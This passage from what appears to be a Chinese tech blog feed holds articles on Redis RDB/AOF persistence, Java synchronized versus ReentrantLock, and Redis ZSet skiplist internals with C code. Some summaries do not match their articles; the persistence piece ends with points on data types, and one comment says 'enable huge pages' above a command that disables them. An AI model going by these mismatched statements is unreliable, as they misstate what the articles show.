redis.conf</span><br><span class="line"></span><br><span class="line"># RDB文件名</span><br><span class="line">dbfilename dump.rdb</span><br><span class="line"></span><br><span class="line"># RDB文件保存目录</span><br><span class="line">dir /var/lib/redis</span><br><span class="line"></span><br><span class="line"># 停止写入如果RDB失败</span><br><span class="line">stop-writes-on-bgsave-error yes</span><br><span class="line"></span><br><span class="line"># RDB文件压缩</span><br><span class="line">rdbcompression yes</span><br><span class="line"></span><br><span class="line"># RDB文件校验</span><br><span class="line">rdbchecksum yes</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-6-RDB的优缺点"><a href="#2-6-RDB的优缺点" class="headerlink" title="2.6 RDB的优缺点"></a>2.6 RDB的优缺点</h2><p><strong>优点</strong>：</p><ul><li>文件紧凑，适合备份和灾难恢复</li><li>恢复速度快（直接加载到内存）</li><li>对性能影响小（子进程处理）</li></ul><p><strong>缺点</strong>：</p><ul><li>可能丢失最后一次save后的数据</li><li>fork时内存占用可能翻倍（COW期间）</li></ul><h2 id="三、AOF持久化"><a href="#三、AOF持久化" class="headerlink" title="三、AOF持久化"></a>三、AOF持久化</h2><p>#</p><h2 id="3-1-什么是AOF"><a href="#3-1-什么是AOF" class="headerlink" title="3.1 什么是AOF"></a>3.1 什么是AOF</h2><p>AOF（Append Only File）记录每个写操作命令：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">客户端: SET key value</span><br><span class="line">Redis: 将命令追加到AOF文件</span><br><span class="line"></span><br><span class="line">AOF文件内容：</span><br><span class="line">*3\r</span><br><span class="line">$3\r</span><br><span class="line">SET\r</span><br><span class="line">$3\r</span><br><span class="line">key\r</span><br><span class="line">$5\r</span><br><span class="line">value\r</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-AOF持久化流程"><a href="#3-2-AOF持久化流程" class="headerlink" title="3.2 AOF持久化流程"></a>3.2 AOF持久化流程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">客户端写命令</span><br><span class="line">    │</span><br><span class="line">    ▼</span><br><span class="line">┌─────────────┐</span><br><span class="line">│ AOF缓冲区   │  ← 先写入内存缓冲区</span><br><span class="line">└──────┬──────┘</span><br><span class="line">       │</span><br><span class="line">       ├── sync策略 ──&gt;</span><br><span class="line">       │</span><br><span class="line">       ▼</span><br><span class="line">┌─────────────┐</span><br><span class="line">│ AOF文件     │  ← 同步到磁盘</span><br><span class="line">└─────────────┘</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-AOF同步策略"><a href="#3-3-AOF同步策略" class="headerlink" title="3.3 AOF同步策略"></a>3.3 AOF同步策略</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># redis.conf</span><br><span class="line"></span><br><span class="line"># 每次写入都fsync（最安全，最慢）</span><br><span class="line">appendfsync always</span><br><span class="line"></span><br><span class="line"># 每秒fsync一次（推荐，平衡安全性和性能）</span><br><span class="line">appendfsync everysec</span><br><span class="line"></span><br><span class="line"># 由操作系统决定（最快，最不安全）</span><br><span class="line">appendfsync no</span><br></pre></td></tr></table></figure><table><thead><tr><th>模式</th><th>说明</th><th>数据丢失</th><th>性能</th></tr></thead><tbody><tr><td>always</td><td>每次写入fsync</td><td>0</td><td>低</td></tr><tr><td>everysec</td><td>每秒fsync</td><td>&lt;=1秒</td><td>中</td></tr><tr><td>no</td><td>OS决定</td><td>可能很多</td><td>高</td></tr></tbody></table><p><strong>推荐</strong>：everysec（默认）</p><p>#</p><h2 id="3-4-AOF重写"><a href="#3-4-AOF重写" class="headerlink" title="3.4 AOF重写"></a>3.4 AOF重写</h2><p><strong>为什么需要重写</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">AOF文件不断增长：</span><br><span class="line">SET key value1</span><br><span class="line">SET key value2</span><br><span class="line">SET key value3</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">同一个key多次修改，只有最后一次有效</span><br><span class="line">需要压缩只保留最终状态</span><br></pre></td></tr></table></figure><p><strong>重写原理</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────┐      fork      ┌─────────────┐</span><br><span class="line">│  旧AOF文件   │  ──────────&gt;   │  子进程     │</span><br><span class="line">│  (很大)      │                │  读取内存   │</span><br><span class="line">└─────────────┘                │  生成新AOF  │</span><br><span class="line">                               └──────┬──────┘</span><br><span class="line">                                      │</span><br><span class="line">                                      ▼</span><br><span class="line">                               ┌─────────────┐</span><br><span class="line">                               │  新AOF文件   │</span><br><span class="line">                               │  (紧凑)      │</span><br><span class="line">                               └─────────────┘</span><br><span class="line"></span><br><span class="line">重写期间，新的写命令同时写入：</span><br><span class="line">1. 旧AOF文件（继续追加）</span><br><span class="line">2. AOF重写缓冲区（子进程结束后追加到新文件）</span><br></pre></td></tr></table></figure><p><strong>触发方式</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 自动触发</span><br><span class="line">auto-aof-rewrite-percentage 100   # AOF文件增长100%</span><br><span class="line">auto-aof-rewrite-min-size 64mb    # 最小64MB才触发</span><br><span class="line"></span><br><span class="line"># 手动触发</span><br><span class="line">BGREWRITEAOF</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-5-AOF配置"><a href="#3-5-AOF配置" class="headerlink" title="3.5 AOF配置"></a>3.5 AOF配置</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 开启AOF</span><br><span class="line">appendonly yes</span><br><span class="line"></span><br><span class="line"># AOF文件名</span><br><span class="line">appendfilename &quot;appendonly.aof&quot;</span><br><span class="line"></span><br><span class="line"># 同步策略</span><br><span class="line">appendfsync everysec</span><br><span class="line"></span><br><span class="line"># 重写时是否禁用fsync（减少IO压力）</span><br><span class="line">no-appendfsync-on-rewrite no</span><br><span class="line"></span><br><span class="line"># 自动重写配置</span><br><span class="line">auto-aof-rewrite-percentage 100</span><br><span class="line">auto-aof-rewrite-min-size 64mb</span><br><span class="line"></span><br><span class="line"># 加载AOF时是否忽略末尾错误（如AOF被截断）</span><br><span class="line">aof-load-truncated yes</span><br><span class="line"></span><br><span class="line"># 使用RDB前缀加速AOF恢复（Redis 4.0+）</span><br><span class="line">aof-use-rdb-preamble yes</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-6-AOF的优缺点"><a href="#3-6-AOF的优缺点" class="headerlink" title="3.6 AOF的优缺点"></a>3.6 AOF的优缺点</h2><p><strong>优点</strong>：</p><ul><li>数据安全性高（everysec只丢1秒）</li><li>AOF文件可读，可手动修复</li><li>支持重写压缩</li></ul><p><strong>缺点</strong>：</p><ul><li>文件比RDB大</li><li>恢复速度比RDB慢</li><li>对性能有一定影响</li></ul><h2 id="四、RDB与AOF对比"><a href="#四、RDB与AOF对比" class="headerlink" title="四、RDB与AOF对比"></a>四、RDB与AOF对比</h2><table><thead><tr><th>特性</th><th>RDB</th><th>AOF</th></tr></thead><tbody><tr><td>文件大小</td><td>小（压缩）</td><td>大（文本命令）</td></tr><tr><td>恢复速度</td><td>快</td><td>慢</td></tr><tr><td>数据安全</td><td>可能丢数据</td><td>只丢1秒（everysec）</td></tr><tr><td>对性能影响</td><td>fork时短暂影响</td><td>持续影响（fsync）</td></tr><tr><td>可读性</td><td>二进制，不可读</td><td>文本，可读可修复</td></tr><tr><td>适合场景</td><td>备份、灾难恢复</td><td>数据安全要求高</td></tr></tbody></table><h2 id="五、持久化方案选择"><a href="#五、持久化方案选择" class="headerlink" title="五、持久化方案选择"></a>五、持久化方案选择</h2><p>#</p><h2 id="5-1-推荐方案"><a href="#5-1-推荐方案" class="headerlink" title="5.1 推荐方案"></a>5.1 推荐方案</h2><p><strong>方案一：RDB + AOF（推荐）</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 同时开启RDB和AOF</span><br><span class="line">save 900 1</span><br><span class="line">save 300 10</span><br><span class="line">save 60 10000</span><br><span class="line"></span><br><span class="line">appendonly yes</span><br><span class="line">appendfsync everysec</span><br><span class="line">aof-use-rdb-preamble yes</span><br></pre></td></tr></table></figure><ul><li>RDB用于快速恢复和备份</li><li>AOF保证数据安全</li><li>Redis 4.0+支持混合持久化</li></ul><p><strong>方案二：仅RDB</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">save 900 1</span><br><span class="line">appendonly no</span><br></pre></td></tr></table></figure><ul><li>适合缓存场景，可容忍数据丢失</li><li>性能最好</li></ul><p><strong>方案三：仅AOF</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">save &quot;&quot;</span><br><span class="line">appendonly yes</span><br><span class="line">appendfsync everysec</span><br></pre></td></tr></table></figure><ul><li>数据安全要求极高</li><li>禁用RDB save</li></ul><p>#</p><h2 id="5-2-混合持久化（Redis-4-0-）"><a href="#5-2-混合持久化（Redis-4-0-）" class="headerlink" title="5.2 混合持久化（Redis 4.0+）"></a>5.2 混合持久化（Redis 4.0+）</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">aof-use-rdb-preamble yes</span><br></pre></td></tr></table></figure><p>AOF文件格式：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────────┬─────────────────────┐</span><br><span class="line">│  RDB格式前缀     │  AOF格式追加命令     │</span><br><span class="line">│  (全量数据)      │  (增量命令)          │</span><br><span class="line">└─────────────────┴─────────────────────┘</span><br><span class="line"></span><br><span class="line">恢复时：</span><br><span class="line">1. 先加载RDB前缀（快速）</span><br><span class="line">2. 再执行AOF命令（精确）</span><br></pre></td></tr></table></figure><p><strong>优势</strong>：</p><ul><li>恢复速度接近RDB</li><li>数据安全性接近AOF</li></ul><h2 id="六、恢复流程"><a href="#六、恢复流程" class="headerlink" title="六、恢复流程"></a>六、恢复流程</h2><p>#</p><h2 id="6-1-启动时恢复"><a href="#6-1-启动时恢复" class="headerlink" title="6.1 启动时恢复"></a>6.1 启动时恢复</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Redis启动</span><br><span class="line">    │</span><br><span class="line">    ├── AOF开启？</span><br><span class="line">    │       ├── 是 → 加载AOF文件</span><br><span class="line">    │       │         └── 成功 → 启动完成</span><br><span class="line">    │       │         └── 失败 → 报错退出（可配置截断加载）</span><br><span class="line">    │       └── 否 → 加载RDB文件</span><br><span class="line">    │                   └── 成功 → 启动完成</span><br><span class="line">    │                   └── 失败 → 空数据启动</span><br><span class="line">    │</span><br><span class="line">    └── 如果AOF和RDB都存在，优先AOF</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-灾难恢复"><a href="#6-2-灾难恢复" class="headerlink" title="6.2 灾难恢复"></a>6.2 灾难恢复</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 停止Redis</span></span><br><span class="line">redis-cli SHUTDOWN</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 备份当前文件</span></span><br><span class="line"><span class="built_in">cp</span> appendonly.aof appendonly.aof.bak</span><br><span class="line"><span class="built_in">cp</span> dump.rdb dump.rdb.bak</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 恢复备份文件</span></span><br><span class="line"><span class="built_in">cp</span> /backup/dump.rdb /var/lib/redis/</span><br><span class="line"><span class="comment"># 或</span></span><br><span class="line"><span class="built_in">cp</span> /backup/appendonly.aof /var/lib/redis/</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 启动Redis</span></span><br><span class="line">redis-server /etc/redis/redis.conf</span><br><span class="line"></span><br><span class="line"><span class="comment"># 5. 检查数据完整性</span></span><br><span class="line">redis-cli INFO keyspace</span><br></pre></td></tr></table></figure><h2 id="七、常见问题"><a href="#七、常见问题" class="headerlink" title="七、常见问题"></a>七、常见问题</h2><p>#</p><h2 id="7-1-fork耗时过长"><a href="#7-1-fork耗时过长" class="headerlink" title="7.1 fork耗时过长"></a>7.1 fork耗时过长</h2><p><strong>现象</strong>：BGSAVE或AOF重写时，Redis卡顿</p><p><strong>原因</strong>：</p><ul><li>内存过大，fork需要时间</li><li>系统swap使用</li></ul><p><strong>解决</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 监控fork耗时</span></span><br><span class="line">redis-cli INFO stats | grep latest_fork_usec</span><br><span class="line"></span><br><span class="line"><span class="comment"># 优化：控制Redis内存大小</span></span><br><span class="line"><span class="comment"># 或启用大页（如果系统支持）</span></span><br><span class="line"><span class="built_in">echo</span> never &gt; /sys/kernel/mm/transparent_hugepage/enabled</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-AOF文件过大"><a href="#7-2-AOF文件过大" class="headerlink" title="7.2 AOF文件过大"></a>7.2 AOF文件过大</h2><p><strong>现象</strong>：AOF文件持续增长</p><p><strong>解决</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 手动触发重写</span></span><br><span class="line">redis-cli BGREWRITEAOF</span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查重写配置</span></span><br><span class="line">redis-cli CONFIG GET auto-aof-rewrite*</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-持久化失败"><a href="#7-3-持久化失败" class="headerlink" title="7.3 持久化失败"></a>7.3 持久化失败</h2><p><strong>现象</strong>：Redis日志报错 “Can’t save in background”</p><p><strong>原因</strong>：</p><ul><li>内存不足（COW需要额外内存）</li><li>磁盘空间不足</li><li>权限问题</li></ul><p><strong>解决</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 检查磁盘空间</span></span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查内存</span></span><br><span class="line">free -h</span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查目录权限</span></span><br><span class="line"><span class="built_in">ls</span> -la /var/lib/redis/</span><br></pre></td></tr></table></figure><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><table><thead><tr><th>场景</th><th>推荐方案</th></tr></thead><tbody><tr><td>数据安全要求高</td><td>RDB + AOF（everysec）</td></tr><tr><td>纯缓存场景</td><td>仅RDB或关闭持久化</td></tr><tr><td>快速恢复</td><td>混合持久化（4.0+）</td></tr><tr><td>大数据量</td><td>RDB为主，定期备份</td></tr></tbody></table><p>持久化配置的核心原则：</p><ol><li>同时开启RDB和AOF（生产环境）</li><li>AOF使用everysec模式</li><li>定期验证备份可用性</li><li>监控fork耗时和持久化状态</li><li>确保足够的磁盘空间和内存</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>synchronized 和 ReentrantLock 怎么选</title>
      <link href="//synchronized-he-reentrantlock-zen-me-xuan/"/>
      <url>//synchronized-he-reentrantlock-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="synchronized-和-ReentrantLock-怎么选"><a href="#synchronized-和-ReentrantLock-怎么选" class="headerlink" title="synchronized 和 ReentrantLock 怎么选"></a>synchronized 和 ReentrantLock 怎么选</h1><p>synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象</p></li><li><p>锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁</p></li><li><p>锁消除和锁粗化是 JVM 的优化手段</p></li><li><p>synchronized 保证原子性、可见性和有序性</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis ZSet与SkipList跳表</title>
      <link href="//redis-zset-skiplist/"/>
      <url>//redis-zset-skiplist/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-ZSet与SkipList跳表"><a href="#Redis-ZSet与SkipList跳表" class="headerlink" title="Redis ZSet与SkipList跳表"></a>Redis ZSet与SkipList跳表</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、ZSet的编码方式"><a href="#一、ZSet的编码方式" class="headerlink" title="一、ZSet的编码方式"></a>一、ZSet的编码方式</h2><p>#</p><h2 id="1-1-两种编码"><a href="#1-1-两种编码" class="headerlink" title="1.1 两种编码"></a>1.1 两种编码</h2><table><thead><tr><th>编码</th><th>结构</th><th>适用条件</th></tr></thead><tbody><tr><td>ziplist</td><td>压缩列表</td><td>元素少且值小</td></tr><tr><td>skiplist</td><td>跳表+哈希表</td><td>元素多或值大</td></tr></tbody></table><p>#</p><h2 id="1-2-编码转换条件"><a href="#1-2-编码转换条件" class="headerlink" title="1.2 编码转换条件"></a>1.2 编码转换条件</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">zset-max-ziplist-entries 128    # ziplist最多128个entry</span><br><span class="line">zset-max-ziplist-value 64       # 每个member最大64字节</span><br></pre></td></tr></table></figure><p>转换规则：</p><ul><li>元素数量&lt;=128且每个member&lt;=64字节：ziplist</li><li>任一条件不满足：skiplist</li></ul><h2 id="二、SkipList原理"><a href="#二、SkipList原理" class="headerlink" title="二、SkipList原理"></a>二、SkipList原理</h2><p>#</p><h2 id="2-1-为什么用SkipList"><a href="#2-1-为什么用SkipList" class="headerlink" title="2.1 为什么用SkipList"></a>2.1 为什么用SkipList</h2><p>SkipList是一种概率平衡的数据结构：</p><table><thead><tr><th>数据结构</th><th>查找</th><th>插入</th><th>删除</th><th>范围查询</th><th>实现复杂度</th></tr></thead><tbody><tr><td>数组</td><td>O(n)</td><td>O(n)</td><td>O(n)</td><td>O(1)开始</td><td>低</td></tr><tr><td>链表</td><td>O(n)</td><td>O(1)</td><td>O(1)</td><td>O(n)</td><td>低</td></tr><tr><td>平衡树</td><td>O(log n)</td><td>O(log n)</td><td>O(log n)</td><td>复杂</td><td>高</td></tr><tr><td>SkipList</td><td>O(log n)</td><td>O(log n)</td><td>O(log n)</td><td>O(log n)开始</td><td>低</td></tr></tbody></table><p>SkipList的优势：</p><ul><li>实现简单（比红黑树简单得多）</li><li>范围查询友好（比树结构简单）</li><li>插入/删除不需要旋转平衡</li><li>性能接近平衡树</li></ul><p>#</p><h2 id="2-2-SkipList结构"><a href="#2-2-SkipList结构" class="headerlink" title="2.2 SkipList结构"></a>2.2 SkipList结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Level 3:  head ──────────────────────────&gt;  NULL</span><br><span class="line"></span><br><span class="line">Level 2:  head ──────────────&gt;  30 ──────&gt;  NULL</span><br><span class="line"></span><br><span class="line">Level 1:  head ──────&gt;  20 ──&gt;  30 ──────&gt;  NULL</span><br><span class="line"></span><br><span class="line">Level 0:  head ──&gt; 10 ──&gt; 20 ──&gt; 30 ──&gt; 40 ──&gt; 50 ──&gt; NULL</span><br><span class="line">                (1, &quot;a&quot;)  (2, &quot;b&quot;)  (3, &quot;c&quot;)  (4, &quot;d&quot;)  (5, &quot;e&quot;)</span><br><span class="line">                </span><br><span class="line">每个节点有多个level的forward指针</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-Redis-SkipList节点"><a href="#2-3-Redis-SkipList节点" class="headerlink" title="2.3 Redis SkipList节点"></a>2.3 Redis SkipList节点</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">zskiplistNode</span> &#123;</span></span><br><span class="line">    sds ele;                           <span class="comment">// member字符串</span></span><br><span class="line">    <span class="type">double</span> score;                      <span class="comment">// 分数</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">zskiplistNode</span> *<span class="title">backward</span>;</span>    <span class="comment">// 后退指针（双向链表）</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">zskiplistLevel</span> &#123;</span></span><br><span class="line">        <span class="class"><span class="keyword">struct</span> <span class="title">zskiplistNode</span> *<span class="title">forward</span>;</span> <span class="comment">// 前进指针</span></span><br><span class="line">        <span class="type">unsigned</span> <span class="type">long</span> span;            <span class="comment">// 到下一个节点的跨度（排名用）</span></span><br><span class="line">    &#125; level[];                         <span class="comment">// 柔性数组，多层指针</span></span><br><span class="line">&#125; zskiplistNode;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">zskiplist</span> &#123;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">zskiplistNode</span> *<span class="title">header</span>, *<span class="title">tail</span>;</span>  <span class="comment">// 头尾指针</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> length;                  <span class="comment">// 节点数量</span></span><br><span class="line">    <span class="type">int</span> level;                             <span class="comment">// 最大层数</span></span><br><span class="line">&#125; zskiplist;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-随机层数生成"><a href="#2-4-随机层数生成" class="headerlink" title="2.4 随机层数生成"></a>2.4 随机层数生成</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">zslRandomLevel</span><span class="params">(<span class="type">void</span>)</span> &#123;</span><br><span class="line">    <span class="type">int</span> level = <span class="number">1</span>;</span><br><span class="line">    <span class="comment">// 每次有25%概率升级一层</span></span><br><span class="line">    <span class="keyword">while</span> ((random() &amp; <span class="number">0xFFFF</span>) &lt; (ZSKIPLIST_P * <span class="number">0xFFFF</span>))</span><br><span class="line">        level += <span class="number">1</span>;</span><br><span class="line">    <span class="comment">// 最大32层</span></span><br><span class="line">    <span class="keyword">return</span> (level &lt; ZSKIPLIST_MAXLEVEL) ? level : ZSKIPLIST_MAXLEVEL;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ZSKIPLIST_P = 0.25</span></span><br><span class="line"><span class="comment">// 层数概率分布：</span></span><br><span class="line"><span class="comment">// level=1: 75%</span></span><br><span class="line"><span class="comment">// level=2: 18.75%</span></span><br><span class="line"><span class="comment">// level=3: 4.6875%</span></span><br><span class="line"><span class="comment">// ...</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-5-查找操作"><a href="#2-5-查找操作" class="headerlink" title="2.5 查找操作"></a>2.5 查找操作</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">查找score=35的节点：</span><br><span class="line"></span><br><span class="line">Level 3: head ──────────────────────────&gt; NULL</span><br><span class="line">              │ 比较30&lt;35，继续</span><br><span class="line">              ▼</span><br><span class="line">Level 2: head ──────────────&gt; 30 ───────&gt; NULL</span><br><span class="line">                              │ 比较30&lt;35，继续</span><br><span class="line">                              ▼</span><br><span class="line">Level 1: head ──────&gt; 20 ──&gt; 30 ────────&gt; NULL</span><br><span class="line">                                    │ 下一个NULL，下降</span><br><span class="line">                                    ▼</span><br><span class="line">Level 0: ... ──&gt; 30 ──&gt; 40 ──&gt; 50 ──&gt; NULL</span><br><span class="line">              │         │</span><br><span class="line">              30&lt;35    40&gt;35</span><br><span class="line">              下降     找到位置（在30和40之间）</span><br><span class="line"></span><br><span class="line">查找复杂度：O(log n)</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-6-插入操作"><a href="#2-6-插入操作" class="headerlink" title="2.6 插入操作"></a>2.6 插入操作</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">zskiplistNode *<span class="title function_">zslInsert</span><span class="params">(zskiplist *zsl, <span class="type">double</span> score, sds ele)</span> &#123;</span><br><span class="line">    zskiplistNode *update[ZSKIPLIST_MAXLEVEL], *x;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> rank[ZSKIPLIST_MAXLEVEL];</span><br><span class="line">    <span class="type">int</span> i, level;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 1. 查找每一层的前驱节点</span></span><br><span class="line">    x = zsl-&gt;header;</span><br><span class="line">    <span class="keyword">for</span> (i = zsl-&gt;level<span class="number">-1</span>; i &gt;= <span class="number">0</span>; i--) &#123;</span><br><span class="line">        rank[i] = (i == zsl-&gt;level<span class="number">-1</span>) ? <span class="number">0</span> : rank[i+<span class="number">1</span>];</span><br><span class="line">        <span class="keyword">while</span> (x-&gt;level[i].forward &amp;&amp;</span><br><span class="line">               (x-&gt;level[i].forward-&gt;score &lt; score ||</span><br><span class="line">                (x-&gt;level[i].forward-&gt;score == score &amp;&amp;</span><br><span class="line">                 sdscmp(x-&gt;level[i].forward-&gt;ele, ele) &lt; <span class="number">0</span>))) &#123;</span><br><span class="line">            rank[i] += x-&gt;level[i].span;</span><br><span class="line">            x = x-&gt;level[i].forward;</span><br><span class="line">        &#125;</span><br><span class="line">        update[i] = x;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 随机生成层数</span></span><br><span class="line">    level = zslRandomLevel();</span><br><span class="line">    <span class="keyword">if</span> (level &gt; zsl-&gt;level) &#123;</span><br><span class="line">        <span class="keyword">for</span> (i = zsl-&gt;level; i &lt; level; i++) &#123;</span><br><span class="line">            rank[i] = <span class="number">0</span>;</span><br><span class="line">            update[i] = zsl-&gt;header;</span><br><span class="line">            update[i]-&gt;level[i].span = zsl-&gt;length;</span><br><span class="line">        &#125;</span><br><span class="line">        zsl-&gt;level = level;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 3. 创建新节点</span></span><br><span class="line">    x = zslCreateNode(level, score, ele);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 4. 插入到各层链表</span></span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; level; i++) &#123;</span><br><span class="line">        x-&gt;level[i].forward = update[i]-&gt;level[i].forward;</span><br><span class="line">        update[i]-&gt;level[i].forward = x;</span><br><span class="line">        </span><br><span class="line">        x-&gt;level[i].span = update[i]-&gt;level[i].span - (rank[<span class="number">0</span>] - rank[i]);</span><br><span class="line">        update[i]-&gt;level[i].span = (rank[<span class="number">0</span>] - rank[i]) + <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 5. 更新高层span</span></span><br><span class="line">    <span 